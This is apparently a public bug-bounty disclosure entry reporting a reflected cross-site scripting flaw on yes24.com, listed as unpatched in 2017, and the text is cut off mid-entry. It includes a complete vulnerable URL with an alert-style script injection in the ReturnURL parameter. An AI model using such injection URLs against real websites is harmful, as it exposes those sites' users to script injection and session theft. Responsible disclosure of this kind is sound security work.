yes24.com XSS vulnerability

Vulnerable URL: http://www.yes24.com/Cooperate/Yes24Gateway.aspx?ReturnURL=";alertOPENBUGBOUNTY;// Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4345 VIP website status:| Yes Chec...